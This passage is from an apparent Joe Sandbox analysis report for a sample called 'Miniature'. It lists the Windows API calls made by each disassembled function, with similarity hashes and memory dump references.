Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: c6006184b5456655c173c0df081de512778123c05b3d47d7dd8f5420de2fcd3b
Instruction ID: c2141aede749939301bb14e5a9a5db497a719abfade62344873087def69c99b0
Opcode Fuzzy Hash: c6006184b5456655c173c0df081de512778123c05b3d47d7dd8f5420de2fcd3b
Instruction Fuzzy Hash: C841603590411AFFDF659EA8C948FE9BB74FB05330F208319F868A2294C7359D50EB91

Function 00FE95D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00FE95E8
PostMessageW.USER32(?,00000201,00000001), ref: 00FE9692
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00FE969A
PostMessageW.USER32(?,00000202,00000000), ref: 00FE96A8
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00FE96B0

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 920f116794ad6785f6c344316403a0018376ed8b54bf5e19836d529b4ff23efe
Instruction ID: 8fe061afd4546894dc5a224d6ade76da2923db8358a5652a20745a7b2d08e777
Opcode Fuzzy Hash: 920f116794ad6785f6c344316403a0018376ed8b54bf5e19836d529b4ff23efe
Instruction Fuzzy Hash: CF31EE71904259EFDF20CF69D94CA9E7BB5FB44325F20421AF824AB1D4C3B09910EBA0

Function 0101B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

GetWindowLongW.USER32(?,000000F0), ref: 0101B804
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0101B829
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0101B841
GetSystemMetrics.USER32(00000004), ref: 0101B86A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,0100155C,00000000), ref: 0101B888

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 725b4091271a4b18963158e7b8ae80629279cffb90db761eea9ff6bd4e8ce28f
Instruction ID: edb0da3ecb4cde6b186b989530b4e177960e84b54ed8ae7b7a02b637bd7a455f
Opcode Fuzzy Hash: 725b4091271a4b18963158e7b8ae80629279cffb90db761eea9ff6bd4e8ce28f
Instruction Fuzzy Hash: EC21A371910225AFDB649E3CCC08B6A3BB4FB05B24F244768FDA5D31D8D7398810CB80

Function 01006138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 01006159
GetForegroundWindow.USER32 ref: 01006170
GetDC.USER32(00000000), ref: 010061AC
GetPixel.GDI32(00000000,?,00000003), ref: 010061B8
ReleaseDC.USER32(00000000,00000003), ref: 010061F3

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: af63d0b355a03fcdd9e744f94862a6e0f359ff64ddeae354777a3756803d1e2d
Instruction ID: 3d0c296c87d561be59b94adcfd719965c9624ecc7ecb27f7192734b892ff1a08
Opcode Fuzzy Hash: af63d0b355a03fcdd9e744f94862a6e0f359ff64ddeae354777a3756803d1e2d
Instruction Fuzzy Hash: BC21D875A002049FE720EF64DC88AAABBF5EF48310F148479F98AD7356CB35AC01DB90

Function 00F916CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F91729
SelectObject.GDI32(?,00000000), ref: 00F91738
BeginPath.GDI32(?), ref: 00F9174F
SelectObject.GDI32(?,00000000), ref: 00F91778

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: b01013a82ae3ea4ccffc159725397337c3451ef81b068781a6db5ab370e1b79d
Instruction ID: 731712be282c5b89177bf477d023bfe073c3917d93f86b11f3337b2bbd09c725
Opcode Fuzzy Hash: b01013a82ae3ea4ccffc159725397337c3451ef81b068781a6db5ab370e1b79d
Instruction Fuzzy Hash: E121B330C0030AEFEF319F64D944B7A7BA8F710321F644226F89596298D77B9895EB91

Function 00FEC837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00FEC84C
_memcmp.LIBCMT ref: 00FEC86A
_memcmp.LIBCMT ref: 00FEC87D
_memcmp.LIBCMT ref: 00FEC895
_memcmp.LIBCMT ref: 00FEC8AD

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 242fa7146fe378d34bb751338772e083f52dd9213ee8e1dbb8b0b3adafdd1956
Instruction ID: 933a50957fbf53d98ebd1c339b87d07e5f283738ebad7a0231c03f9672f270cb
Opcode Fuzzy Hash: 242fa7146fe378d34bb751338772e083f52dd9213ee8e1dbb8b0b3adafdd1956
Instruction Fuzzy Hash: FE01F563A001193BD21065139E92FFB731DBA24394F044129FE069B301E768DF12A6E1

Function 00FF504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00FF5075
__beginthreadex.LIBCMT ref: 00FF5093
MessageBoxW.USER32(?,?,?,?), ref: 00FF50A8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00FF50BE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00FF50C5

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 4304cd774a5ec5b01d79f50dd2f6ed9291fc1e48c6922a4a7bc5839df07ae992
Instruction ID: 039346005e33e08c2317f0cc8841ff852f2ad2af24970f1857baa1ef3a674701
Opcode Fuzzy Hash: 4304cd774a5ec5b01d79f50dd2f6ed9291fc1e48c6922a4a7bc5839df07ae992
Instruction Fuzzy Hash: C411447290470DBFC7208FA89C08AAB7FACAF45320F644256FA18D3355DA7A890097F0

Function 00FE8E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FE8E3C
GetLastError.KERNEL32(?,00FE8900,?,?,?), ref: 00FE8E46
GetProcessHeap.KERNEL32(00000008,?,?,00FE8900,?,?,?), ref: 00FE8E55
HeapAlloc.KERNEL32(00000000,?,00FE8900,?,?,?), ref: 00FE8E5C
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FE8E73

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 3c50a08bb025e1a867b11ac411185a697b67a5f487c411c1b74c1774be65eaf6
Instruction ID: 1616072e476b7ef378206ef37f8a52b648ff4d937111053c4853bae2cdd3c03c
Opcode Fuzzy Hash: 3c50a08bb025e1a867b11ac411185a697b67a5f487c411c1b74c1774be65eaf6
Instruction Fuzzy Hash: A8016D71601344BFDB305FA6DC48D6B7BADEF893A4B240569F889C2214DB329C01DB60

Function 00FF57FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00FF581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00FF5829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00FF5831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00FF583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00FF5877

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: f32ce633e4906dcc21c80c6edc692fd0cbb28a3fc6ad03c0652c520b645285ef
Instruction ID: 6c4d7792da18d5c9d07095fff8f4844ad9717127eae6b861155aa236eaf9bd49
Opcode Fuzzy Hash: f32ce633e4906dcc21c80c6edc692fd0cbb28a3fc6ad03c0652c520b645285ef
Instruction Fuzzy Hash: 8301DE31C01A1DDBDF209FE4E849AEDBBB8FF0CB10F200156EA42B2158CB398510DBA1

Function 00FE8CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00FE8CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00FE8CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00FE8CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00FE8CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00FE8D14

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: e526a91aeb177d681b522c6bc30cf15ad33cc996b7786d025ddd550210a524b9
Instruction ID: 013d2f4ad317e528cc6cefbff6b5d7836b511ae9b3e30ac50d7ba5efee016892
Opcode Fuzzy Hash: e526a91aeb177d681b522c6bc30cf15ad33cc996b7786d025ddd550210a524b9
Instruction Fuzzy Hash: 6BF04F35600304AFEB311FA59CC9EA73BADEF897A4F204525F989C6194CB669C41EB60

Function 00FE8D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00FE8D3F
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00FE8D49
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FE8D58
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00FE8D5F
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FE8D75

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: cf2aca22bd8370d0e3bac0be19580fe42dde2dfcabbed8fe31746d9f00b64cad
Instruction ID: e16aa1704a8cacfabda5f2151d8d1b6aecd5d02d34259a68420c39ca8b1267f8
Opcode Fuzzy Hash: cf2aca22bd8370d0e3bac0be19580fe42dde2dfcabbed8fe31746d9f00b64cad
Instruction Fuzzy Hash: DEF0AF30200344AFEB311FA5EC88E673BACEF497A4F240115F988C2284CB669D41EB60

Function 00FECD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00FECD90
GetWindowTextW.USER32(00000000,?,00000100), ref: 00FECDA7
MessageBeep.USER32(00000000), ref: 00FECDBF
KillTimer.USER32(?,0000040A), ref: 00FECDDB
EndDialog.USER32(?,00000001), ref: 00FECDF5

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: d0e3882f3dadc7d711083ccd7e416dde5d99fab2ca0f169f3f247a83d601c30e
Instruction ID: 000a1e6fc659a46b84557c33fd4f0ec9f3cf31014ea7497bfaa7f1beadbdde01
Opcode Fuzzy Hash: d0e3882f3dadc7d711083ccd7e416dde5d99fab2ca0f169f3f247a83d601c30e
Instruction Fuzzy Hash: 1C01D131900748ABEB305F21DC4EFA67BB8FB04711F100669F6D2A10D5DBFAA9499BC1

Function 00F9178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00F9179B
StrokeAndFillPath.GDI32(?,?,00FCBBC9,00000000,?), ref: 00F917B7
SelectObject.GDI32(?,00000000), ref: 00F917CA
DeleteObject.GDI32 ref: 00F917DD
StrokePath.GDI32(?), ref: 00F917F8

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: fdb5b80727568b3c69574aae76bbf831b60424846963ee8f8abca9b1281e597b
Instruction ID: e0277cfb8d8367eb9e1191beb7df6ea9c8eee39d049c9658bd6d912798fb950b
Opcode Fuzzy Hash: fdb5b80727568b3c69574aae76bbf831b60424846963ee8f8abca9b1281e597b
Instruction Fuzzy Hash: B5F0EC3004430AEBFB355F66E84C76A3FA4F710326F648224F4AA552E8C73E4995EF11

Function 00FFC9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00FFCA75
CoCreateInstance.OLE32(01023D3C,00000000,00000001,01023BAC,?), ref: 00FFCA8D

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

CoUninitialize.OLE32 ref: 00FFCCFA

Strings

.lnk, xrefs: 00FFCA09, 00FFCA31, 00FFCA3B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: be5bcbf9e1f28c60cf167844daec3c8a318b79209a2e40c9c5a078ee94dbb19c
Instruction ID: 353070919dfffaf78eb5700663f19492d6bc7242e7a41f81a4fd47c4c58372d6
Opcode Fuzzy Hash: be5bcbf9e1f28c60cf167844daec3c8a318b79209a2e40c9c5a078ee94dbb19c
Instruction Fuzzy Hash: 86A13DB1104205AFE700EF64CC81EABB7E8FF95718F00491DF59597192EB74EA0ADB92

Function 00F9E3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00FB0FE6: std::exception::exception.LIBCMT ref: 00FB101C
Part of subcall function 00FB0FE6: __CxxThrowException@8.LIBCMT ref: 00FB1031

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 00FA1680: _memmove.LIBCMT ref: 00FA16DB

__swprintf.LIBCMT ref: 00F9E598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00F9E431

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 333f7c6e647b9d73ea552ef9427a2a72976be1ae2cb7544e550036c4f8ec9b3c
Instruction ID: 280bfeb34377a74c0e0ffb8a9507dfaad9b1e6ae3b29afc9da40668806f066c3
Opcode Fuzzy Hash: 333f7c6e647b9d73ea552ef9427a2a72976be1ae2cb7544e550036c4f8ec9b3c
Instruction Fuzzy Hash: 4B91BE715082019FDB14EF24CC95C6FB7A8FF96710F45491EF486972A1EB24ED04EB92

Function 00FB523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00FB52CD

Part of subcall function 00FC0320: __87except.LIBCMT ref: 00FC035B

Strings

pow, xrefs: 00FB52A5, 00FB52C2

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: a696a5794661c18963be0e81a94dbc36dd94e359f6a885ddf17aeeb6cf33c3a8
Instruction ID: 93c956264aeaba2142272428ae0d18d3ff55e962fa9e9f86f4785e064ea8bfb4
Opcode Fuzzy Hash: a696a5794661c18963be0e81a94dbc36dd94e359f6a885ddf17aeeb6cf33c3a8
Instruction Fuzzy Hash: 06517F31E09607C6CB25BA15CA02BAB37D09B00B60F34892DE1C1462D9EF7D8CC5BF41

Function 00FB0654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 00FB0690
#, xrefs: 00FB0699

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: a9a375de72f467b565de2cda09d1135a03722c235b7b32cac2b1837cb3ee8ac9
Instruction ID: 3b57659add8e6d4bc50b81b8ccebd3aeac1f0f8da3d817796418e02e798bd890
Opcode Fuzzy Hash: a9a375de72f467b565de2cda09d1135a03722c235b7b32cac2b1837cb3ee8ac9
Instruction Fuzzy Hash: 8E511575900299CFDF25DF6AC844AFA7BA4FF65320F244055F891DB290DB34AE42EB60

Function 00FACF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FACFC2
_memmove.LIBCMT ref: 00FAD060
_memset.LIBCMT ref: 00FAD084

Strings

ERCP, xrefs: 00FACF2D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
